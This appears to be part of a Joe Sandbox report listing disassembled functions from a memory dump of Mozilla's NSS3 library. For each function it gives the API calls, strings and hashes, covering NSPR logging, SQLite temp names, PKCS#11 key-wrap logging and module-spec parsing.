Opcode ID: 0e47bf9a4df5924d9bb5fdd9432f2a69db1109b8ef3d9039a5425ab00acc8985
Instruction ID: ac926977577535b8a902f06a6bc4cd8e4e7980bf39ae0864e080f4ff4717480f
Opcode Fuzzy Hash: 0e47bf9a4df5924d9bb5fdd9432f2a69db1109b8ef3d9039a5425ab00acc8985
Instruction Fuzzy Hash: 829104F4A042115BEF518F66EE85BAA3BA8AF0634CF480470EC559BF43E735D904D7A2

Function 6C6F1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C6F1DA3

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C6F1DB2

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C6F1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C6F1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C6F1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C6F1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C6F1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C6F1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C6F1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C6F1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6F1F83
PR_SetLogFile.NSS3(00000000), ref: 6C6F1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C6F1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C6F1FCB
free.MOZGLUE(00000000), ref: 6C6F1FD2

Strings

NSPR_LOG_MODULES, xrefs: 6C6F1DAD
sync, xrefs: 6C6F1E46
NSPR_LOG_FILE, xrefs: 6C6F1F69
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C6F1E27
, %n, xrefs: 6C6F1E6B
Unable to create nspr log file '%s', xrefs: 6C6F1FB3
timestamp, xrefs: 6C6F1EC4
append, xrefs: 6C6F1EE6
bufsize, xrefs: 6C6F1E9B
all, xrefs: 6C6F1F0E

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 91281a54c66ac7e5f7516d04a502fc9df9b306961d7b7014433fb635d8362ee4
Instruction ID: 32ce58ac8811d77771b78f3c59bc443fd376ad517b0ff0148703fa434250f8c4
Opcode Fuzzy Hash: 91281a54c66ac7e5f7516d04a502fc9df9b306961d7b7014433fb635d8362ee4
Instruction Fuzzy Hash: 2251E1B1E042199BEF10DBE5CD48B9E77F9AF0538CF040928E829DBA01E374D419CB99

Function 6C7D6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C69BE66), ref: 6C7D6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C69BE66), ref: 6C7D6E98
sqlite3_snprintf.NSS3(?,00000000,6C83AAF9,?,?,?,?,?,?,6C69BE66), ref: 6C7D6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C69BE66), ref: 6C7D6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C69BE66), ref: 6C7D6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C69BE66), ref: 6C7D6FA6
sqlite3_snprintf.NSS3(?,00000000,6C83AAF9,00000000,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C69BE66), ref: 6C7D701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C69BE66), ref: 6C7D7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C69BE66), ref: 6C7D7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D70A0

Strings

mz_etilqs_, xrefs: 6C7D6F18
winGetTempname4, xrefs: 6C7D7046
winGetTempname2, xrefs: 6C7D70C4
winGetTempname1, xrefs: 6C7D708F
winGetTempname5, xrefs: 6C7D7071

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: e958c3a7ac14dceb5ab8a6e993034df3ecb3b7a41aa458b69864209e36e23f46
Instruction ID: 81c9faa115301c565f1c2d6d4599c36057096a9c672c41604e91a7e08d580bf9
Opcode Fuzzy Hash: e958c3a7ac14dceb5ab8a6e993034df3ecb3b7a41aa458b69864209e36e23f46
Instruction Fuzzy Hash: 2D517BB1A0511227E31096349D59FBF36669F9330CF154A38E80696FC1FB25B50EC2E7

Function 6C764FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000,00000000,00000001), ref: 6C765009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C765049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C76505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C765071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7650A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C7650B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2), ref: 6C7650CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7650D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7650F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C76511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C76512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765153
free.MOZGLUE(?), ref: 6C76516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C76517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C765195

Strings

parameters=, xrefs: 6C76506B
config=, xrefs: 6C76509B
name=, xrefs: 6C765057
library=, xrefs: 6C765043
nss=, xrefs: 6C765083

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 39d9b90b73b798c89d8af8cd60e21a905314a655dd24b761c861e15e1f10e528
Instruction ID: 528918dff985075ac30360b31387b49fa58e6f215bbb46e823cbb333f095640f
Opcode Fuzzy Hash: 39d9b90b73b798c89d8af8cd60e21a905314a655dd24b761c861e15e1f10e528
Instruction Fuzzy Hash: 3151D7B5A011069BEB91CF21EE45A9A37A8AF0534CF140030EC55E7F42E725E919DBF2

Function 6C738E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C738E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C738EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C738EB3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C738EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C738EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C738F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C738F29
PR_LogPrint.NSS3(?,00000000), ref: 6C738F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C738F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C738F80
PR_LogPrint.NSS3(?,00000000), ref: 6C738F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C738FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C738FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C739047

Strings

hSession = 0x%x, xrefs: 6C738E8E, 6C738E9E
(CK_INVALID_HANDLE), xrefs: 6C738EAC, 6C738F1F, 6C738F79
pMechanism = 0x%p, xrefs: 6C738EE0
pulWrappedKeyLen = 0x%p, xrefs: 6C738FC8
hWrappingKey = 0x%x, xrefs: 6C738F01, 6C738F11
hKey = 0x%x, xrefs: 6C738F5B, 6C738F6B
*pulWrappedKeyLen = 0x%x, xrefs: 6C739042
pWrappedKey = 0x%p, xrefs: 6C738FAD
C_WrapKey, xrefs: 6C738E71

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: c135ada4d5631a23059e35de5f1429dd132b3254ffbd1b2d6a3d185d054d6df1
Instruction ID: 3a6e966f6fad2ba2b6432c7a4f97ca28f74c3f80166928dd962cd570f2ab768f
Opcode Fuzzy Hash: c135ada4d5631a23059e35de5f1429dd132b3254ffbd1b2d6a3d185d054d6df1
Instruction Fuzzy Hash: D651C831506126ABDB218F549F4CFAA37B6AB4230CF046476F50DABA13D738A858C7D1

Function 6C764C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764C5B
PR_smprintf.NSS3(6C83AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C764D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C764DA2
free.MOZGLUE(?), ref: 6C764DB9
free.MOZGLUE(00000000), ref: 6C764DCF

Strings

ootT, xrefs: 6C764D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C764D9D
%s,%s, xrefs: 6C764C4B
rust, xrefs: 6C764D22
timeout, xrefs: 6C764C91
every, xrefs: 6C764CA1
rootFlags, xrefs: 6C764D47
any, xrefs: 6C764C96
slotFlags, xrefs: 6C764D34
0x%08lx=[%s %s], xrefs: 6C764D80

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 929e4a180db0324d926b0607c965fd00d079cf4b2cff79f8e8df7d11da6997cb
Instruction ID: b3e020d9dd0c59cb4d87edcef50044eacd49febd3d02028fdb427e00ba5f9319
Opcode Fuzzy Hash: 929e4a180db0324d926b0607c965fd00d079cf4b2cff79f8e8df7d11da6997cb
Instruction Fuzzy Hash: BE4189B1D00141ABDB22DF5ADE45ABB3A65AB8630CF484534EC1A0BF02E731D828D7D3

Function 6C746CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C746910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C746943
Part of subcall function 6C746910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C746957
Part of subcall function 6C746910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C746972
Part of subcall function 6C746910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C746983
Part of subcall function 6C746910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7469AA
Part of subcall function 6C746910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7469BE
Part of subcall function 6C746910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7469D2
Part of subcall function 6C746910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7469DF
Part of subcall function 6C746910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C746A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C746D8C
free.MOZGLUE(00000000), ref: 6C746DC5
free.MOZGLUE(?), ref: 6C746DD6
free.MOZGLUE(?), ref: 6C746DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C746E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746E72
free.MOZGLUE(?), ref: 6C746EA7
free.MOZGLUE(?), ref: 6C746EC4
free.MOZGLUE(?), ref: 6C746ED5
free.MOZGLUE(00000000), ref: 6C746EE3
free.MOZGLUE(?), ref: 6C746EF4
free.MOZGLUE(?), ref: 6C746F08
free.MOZGLUE(00000000), ref: 6C746F35
free.MOZGLUE(?), ref: 6C746F44
free.MOZGLUE(?), ref: 6C746F5B
free.MOZGLUE(00000000), ref: 6C746F65

Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C74781D,00000000,6C73BE2C,?,6C746B1D,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C40
Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C74781D,?,6C73BE2C,?), ref: 6C746C58
Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C6F
Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C746C84
Part of subcall function 6C746C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C746C96
Part of subcall function 6C746C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C746CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C746FF4

Strings

+`ul, xrefs: 6C746D0D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`ul
API String ID: 1304971872-149724355
Opcode ID: ba7b43eb22fdb655eed3cdf8ebc625b8e5fb97716ffe7b8d499c79f8644ea67a
Instruction ID: 8e028db3aef966e97892b46853b994a0bef8a64abe75329dc474614a6ffe7d07
Opcode Fuzzy Hash: ba7b43eb22fdb655eed3cdf8ebc625b8e5fb97716ffe7b8d499c79f8644ea67a
Instruction Fuzzy Hash: 28B182B4E012199FEF11CBA5DA45B9E7BF9BF09348F148035E815E7A01E735EA04CBA1

Function 6C70DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70DDDE

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C70DDF5

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C70DE34
PR_Now.NSS3 ref: 6C70DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C70DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C70DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C70DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C70DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C70DEF0
PR_smprintf.NSS3(6C83AAF9,(NULL) (Validity Unknown)), ref: 6C70DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C70DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C70DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C70DF33
free.MOZGLUE(00000000), ref: 6C70DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C70DF4B
free.MOZGLUE(00000000), ref: 6C70DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6C70DEFA
{???}, xrefs: 6C70DE8B
%s%s, xrefs: 6C70DEEB

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: b8b56a2b1316ab8f66d227cf5f71d691179cbef7017cb991437071205fcd1224
Instruction ID: a80f09fec3de06f2e563000c38b4df9a61e9f1f109901bc5beb21d88da263b29
Opcode Fuzzy Hash: b8b56a2b1316ab8f66d227cf5f71d691179cbef7017cb991437071205fcd1224
Instruction Fuzzy Hash: 6D5191F1E002059BDB10DE659E45AAE7BE9AF95358F144438EC19E7B00E730E914CBE5

Function 6C742D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C742DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C742E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C742E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C742E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C,?,-00000001,00000000,?), ref: 6C742E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C,?,-00000001,00000000), ref: 6C742E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C742EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C742EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C742EF8
PR_Unlock.NSS3(?), ref: 6C742F62
